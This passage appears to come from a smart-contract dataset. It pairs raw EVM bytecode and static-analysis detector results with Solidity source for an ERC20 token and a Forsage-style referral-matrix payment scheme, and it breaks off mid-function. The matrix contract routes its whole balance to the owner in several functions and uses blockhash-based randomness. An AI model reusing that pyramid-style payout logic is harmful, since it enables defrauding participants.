90601f168015612c895780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015612caa57600080fd5b505af1158015612cbe573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083101515612cf85780518252602082019150602081019050602083039250612cd3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612e07336116ac565b1015612e1257600080fd5b612e24612e1e336116ac565b84612a50565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e79612e73856116ac565b84612a69565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612ef25780518252602082019150602081019050602083039250612ecd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905093925050505600a165627a7a7230582002402d636b2222e4ff3ec74ac6f574fce4345e8b2f93de261d57058b61e62dbc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,405
0xd29029c40dbc02ae06dab64edbb409004a3bf370
pragma solidity 0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, BurnableToken, Claimable, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } } contract YBToken is PausableToken { string public name = "YBToken"; string public symbol = "YBT"; uint8 public decimals = 8; // 1.0 billion in initial supply uint256 public constant INITIAL_SUPPLY = 1000000000; constructor() public { totalSupply_ = INITIAL_SUPPLY * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; } }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610116578063095ea7b3146101a057806318160ddd146101d857806323b872dd146101ff5780632ff2e9dc14610229578063313ce5671461023e5780633f4ba83a1461026957806342966c68146102805780634e71e0c8146102985780635c975abb146102ad57806366188463146102c257806370a08231146102e65780638456cb59146103075780638da5cb5b1461031c57806395d89b411461034d578063a9059cbb14610362578063d73dd62314610386578063dd62ed3e146103aa578063e30c3978146103d1578063f2fde38b146103e6575b600080fd5b34801561012257600080fd5b5061012b610407565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016557818101518382015260200161014d565b50505050905090810190601f1680156101925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ac57600080fd5b506101c4600160a060020a0360043516602435610495565b604080519115158252519081900360200190f35b3480156101e457600080fd5b506101ed6104c0565b60408051918252519081900360200190f35b34801561020b57600080fd5b506101c4600160a060020a03600435811690602435166044356104c6565b34801561023557600080fd5b506101ed6104f3565b34801561024a57600080fd5b506102536104fb565b6040805160ff9092168252519081900360200190f35b34801561027557600080fd5b5061027e610504565b005b34801561028c57600080fd5b5061027e60043561057c565b3480156102a457600080fd5b5061027e610589565b3480156102b957600080fd5b506101c4610613565b3480156102ce57600080fd5b506101c4600160a060020a0360043516602435610623565b3480156102f257600080fd5b506101ed600160a060020a036004351661062f565b34801561031357600080fd5b5061027e61064a565b34801561032857600080fd5b506103316106c7565b60408051600160a060020a039092168252519081900360200190f35b34801561035957600080fd5b5061012b6106d6565b34801561036e57600080fd5b506101c4600160a060020a0360043516602435610731565b34801561039257600080fd5b506101c4600160a060020a0360043516602435610755565b3480156103b657600080fd5b506101ed600160a060020a0360043581169060243516610761565b3480156103dd57600080fd5b5061033161078c565b3480156103f257600080fd5b5061027e600160a060020a036004351661079b565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b820191906000526020600020905b81548152906001019060200180831161047057829003601f168201915b505050505081565b60045460009060a060020a900460ff16156104af57600080fd5b6104b983836107e1565b9392505050565b60015490565b60045460009060a060020a900460ff16156104e057600080fd5b6104eb848484610847565b949350505050565b633b9aca0081565b60075460ff1681565b600354600160a060020a0316331461051b57600080fd5b60045460a060020a900460ff16151561053357600080fd5b6004805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b61058633826109be565b50565b600454600160a060020a031633146105a057600080fd5b600454600354604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600480546003805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60045460a060020a900460ff1681565b60006104b98383610abf565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461066157600080fd5b60045460a060020a900460ff161561067857600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048d5780601f106104625761010080835404028352916020019161048d565b60045460009060a060020a900460ff161561074b57600080fd5b6104b98383610baf565b60006104b98383610c90565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600454600160a060020a031681565b600354600160a060020a031633146107b257600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a038316151561085e57600080fd5b600160a060020a03841660009081526020819052604090205482111561088357600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156108b357600080fd5b600160a060020a0384166000908152602081905260409020546108dc908363ffffffff610d2916565b600160a060020a038086166000908152602081905260408082209390935590851681522054610911908363ffffffff610d3b16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610953908363ffffffff610d2916565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600160a060020a0382166000908152602081905260409020548111156109e357600080fd5b600160a060020a038216600090815260208190526040902054610a0c908263ffffffff610d2916565b600160a060020a038316600090815260208190526040902055600154610a38908263ffffffff610d2916565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610b1457336000908152600260209081526040808320600160a060020a0388168452909152812055610b49565b610b24818463ffffffff610d2916565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610bc657600080fd5b33600090815260208190526040902054821115610be257600080fd5b33600090815260208190526040902054610c02908363ffffffff610d2916565b3360009081526020819052604080822092909255600160a060020a03851681522054610c34908363ffffffff610d3b16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610cc4908363ffffffff610d3b16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610d3557fe5b50900390565b6000828201838110156104b957fe00a165627a7a72305820db0f41225d617954ae9c9f9b0b4b6502f741824d259f5f293828e30c159d01560029
{"success": true, "error": null, "results": {}}
7,406
0x835091cb93Bb807Bc8778CDC046EBD52b651f9B8
pragma solidity 0.6.8; contract BetterMatrixForsage { struct User { uint id; address referrer; uint partnersCount; bool[] activeX3Levels; bool[] activeX6Levels; uint balanceX3; uint balanceX6; uint missedProfits; mapping(uint8 => X3) x3Matrix; mapping(uint8 => X6) x6Matrix; } struct X3 { address currentReferrer; address[] referrals; bool blocked; uint reinvestCount; } struct X6 { address currentReferrer; address[] firstLevelReferrals; address[] secondLevelReferrals; bool blocked; uint reinvestCount; address closedPart; } uint8 public constant LAST_LEVEL = 18; mapping(address => User) public users; mapping(uint => address) public idToAddress; mapping(address => uint) public userIds; uint public lastUserId = 2; address public owner; address public lastReferrer; uint public distributed; uint public lastBid = 0.025 ether; mapping(uint8 => uint) public levelPrice; event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId); event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level); event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level); event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place); event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level); event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level); event Bid(address indexed user, uint bidAmount, uint balance); constructor(address ownerAddress) public { levelPrice[1] = 0.025 ether; for (uint8 i = 2; i <= LAST_LEVEL; i++) { levelPrice[i] = levelPrice[i-1] * 2; } owner = ownerAddress; User memory user = User({ id: 1, referrer: address(0), partnersCount: uint(0), balanceX3 : uint(0), balanceX6 : uint(0), missedProfits : uint(0), activeX3Levels : new bool[](LAST_LEVEL+1), activeX6Levels : new bool[](LAST_LEVEL+1) }); users[ownerAddress] = user; idToAddress[1] = ownerAddress; for (uint8 i = 1; i <= LAST_LEVEL; i++) { users[ownerAddress].activeX3Levels[i] = true; users[ownerAddress].activeX6Levels[i] = true; } userIds[ownerAddress] = 1; lastReferrer = ownerAddress; } receive() external payable { address(uint160(owner)).transfer(address(this).balance); } fallback() external payable { registration(msg.sender, lastReferrer); } function registrationExt() external payable { registration(msg.sender, lastReferrer); } function bidForLastRefferer() external payable { require(isUserExists(msg.sender), "user not exists. Register first."); require(msg.value >= lastBid, "invalid price"); address(uint160(owner)).transfer(address(this).balance); lastBid = msg.value; lastReferrer = msg.sender; emit Bid( msg.sender , msg.value , distributed ); } function buyNewLevel(uint8 matrix, uint8 level) external payable { require(isUserExists(msg.sender), "user not exists. Register first."); require(matrix == 1 || matrix == 2, "invalid matrix"); require(msg.value == levelPrice[level], "invalid price"); require(level > 1 && level <= LAST_LEVEL, "invalid level"); if (matrix == 1) { require(!users[msg.sender].activeX3Levels[level], "level already activated"); if (users[msg.sender].x3Matrix[level-1].blocked) { users[msg.sender].x3Matrix[level-1].blocked = false; } lastReferrer = msg.sender; emit Bid( msg.sender , lastBid , distributed ); address freeX3Referrer = findFreeX3Referrer(msg.sender, level); users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer; users[msg.sender].activeX3Levels[level] = true; updateX3Referrer(msg.sender, freeX3Referrer, level); emit Upgrade(msg.sender, freeX3Referrer, 1, level); } else { require(!users[msg.sender].activeX6Levels[level], "level already activated"); if (users[msg.sender].x6Matrix[level-1].blocked) { users[msg.sender].x6Matrix[level-1].blocked = false; } lastReferrer = msg.sender; emit Bid( msg.sender , lastBid , distributed ); address freeX6Referrer = findFreeX6Referrer(msg.sender, level); users[msg.sender].activeX6Levels[level] = true; updateX6Referrer(msg.sender, freeX6Referrer, level); emit Upgrade(msg.sender, freeX6Referrer, 2, level); } } function registration(address userAddress, address referrerAddress) private { require(msg.value == 0.05 ether, "registration cost 0.05"); require(!isUserExists(userAddress), "user exists"); uint32 size; assembly { size := extcodesize(userAddress) } require(size == 0, "cannot be a contract"); User memory user = User({ id: lastUserId, referrer: referrerAddress, partnersCount: 0, balanceX3 : uint(0), balanceX6 : uint(0), missedProfits : uint(0), activeX3Levels : new bool[](LAST_LEVEL+1), activeX6Levels : new bool[](LAST_LEVEL+1) }); users[userAddress] = user; idToAddress[lastUserId] = userAddress; users[userAddress].activeX3Levels[1] = true; users[userAddress].activeX6Levels[1] = true; userIds[userAddress] = lastUserId; lastReferrer = idToAddress[(uint(keccak256(abi.encodePacked(blockhash(block.number-1))))%lastUserId)+1]; lastBid = 0.025 ether; lastUserId++; users[referrerAddress].partnersCount++; address freeX3Referrer = findFreeX3Referrer(userAddress, 1); users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer; updateX3Referrer(userAddress, freeX3Referrer, 1); updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1); emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id); } function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private { users[referrerAddress].x3Matrix[level].referrals.push(userAddress); if (users[referrerAddress].x3Matrix[level].referrals.length < 3) { emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length)); return sendETHDividends(referrerAddress, userAddress, 1, level); } emit NewUserPlace(userAddress, referrerAddress, 1, level, 3); //close matrix users[referrerAddress].x3Matrix[level].referrals = new address[](0); if (level != LAST_LEVEL && !users[referrerAddress].activeX3Levels[level+1]) { users[referrerAddress].x3Matrix[level].blocked = true; } //create new one by recursion if (referrerAddress != owner) { //check referrer active level address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level); if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) { users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress; } users[referrerAddress].x3Matrix[level].reinvestCount++; emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level); updateX3Referrer(referrerAddress, freeReferrerAddress, level); } else { sendETHDividends(owner, userAddress, 1, level); users[owner].x3Matrix[level].reinvestCount++; emit Reinvest(owner, address(0), userAddress, 1, level); } } function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private { require(users[referrerAddress].activeX6Levels[level], "Referrer level is inactive"); if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) { users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = referrerAddress; if (referrerAddress == owner) { return sendETHDividends(referrerAddress, userAddress, 2, level); } address ref = users[referrerAddress].x6Matrix[level].currentReferrer; users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress); uint len = users[ref].x6Matrix[level].firstLevelReferrals.length; if ((len == 2) && (users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) && (users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } else if ((len == 1 || len == 2) && users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 3); } else { emit NewUserPlace(userAddress, ref, 2, level, 4); } } else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) { if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } return updateX6ReferrerSecondLevel(userAddress, ref, level); } users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress); if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) { if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) && (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart)) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x6Matrix[level].closedPart) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } } if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) { updateX6(userAddress, referrerAddress, level, false); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) { updateX6(userAddress, referrerAddress, level, true); return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <= users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) { updateX6(userAddress, referrerAddress, level, false); } else { updateX6(userAddress, referrerAddress, level, true); } updateX6ReferrerSecondLevel(userAddress, referrerAddress, level); } function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private { if (!x2) { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]; } else { users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]; } } function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) { return sendETHDividends(referrerAddress, userAddress, 2, level); } address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals; if (x6.length == 2) { if (x6[0] == referrerAddress || x6[1] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } } else if (x6.length == 1) { if (x6[0] == referrerAddress) { users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress; } } users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0); users[referrerAddress].x6Matrix[level].closedPart = address(0); if (level != LAST_LEVEL && !users[referrerAddress].activeX6Levels[level+1]) { users[referrerAddress].x6Matrix[level].blocked = true; } users[referrerAddress].x6Matrix[level].reinvestCount++; if (referrerAddress != owner) { address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level); emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level); updateX6Referrer(referrerAddress, freeReferrerAddress, level); } else { emit Reinvest(owner, address(0), userAddress, 2, level); sendETHDividends(owner, userAddress, 2, level); } } function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) { address actualAddress = userAddress; while (true) { if (users[users[actualAddress].referrer].activeX3Levels[level]) { return users[actualAddress].referrer; } actualAddress = users[actualAddress].referrer; } } function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) { address actualAddress = userAddress; while (true) { if (users[users[actualAddress].referrer].activeX6Levels[level]) { return users[actualAddress].referrer; } actualAddress = users[actualAddress].referrer; } } function usersActiveX3Levels(address userAddress) public view returns(bool[] memory) { return users[userAddress].activeX3Levels; } function usersActiveX6Levels(address userAddress) public view returns(bool[] memory) { return users[userAddress].activeX6Levels; } function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint) { return (users[userAddress].x3Matrix[level].currentReferrer, users[userAddress].x3Matrix[level].referrals, users[userAddress].x3Matrix[level].blocked, users[userAddress].x3Matrix[level].reinvestCount); } function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) { return (users[userAddress].x6Matrix[level].currentReferrer, users[userAddress].x6Matrix[level].firstLevelReferrals, users[userAddress].x6Matrix[level].secondLevelReferrals, users[userAddress].x6Matrix[level].blocked, users[userAddress].x6Matrix[level].reinvestCount, users[userAddress].x6Matrix[level].closedPart); } function isUserExists(address user) public view returns (bool) { return (users[user].id != 0); } function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) { address receiver = userAddress; bool isExtraDividends; if (matrix == 1) { while (true) { if (users[receiver].x3Matrix[level].blocked) { users[receiver].missedProfits += levelPrice[level]; emit MissedEthReceive(receiver, _from, 1, level); isExtraDividends = true; receiver = users[receiver].x3Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } else { while (true) { if 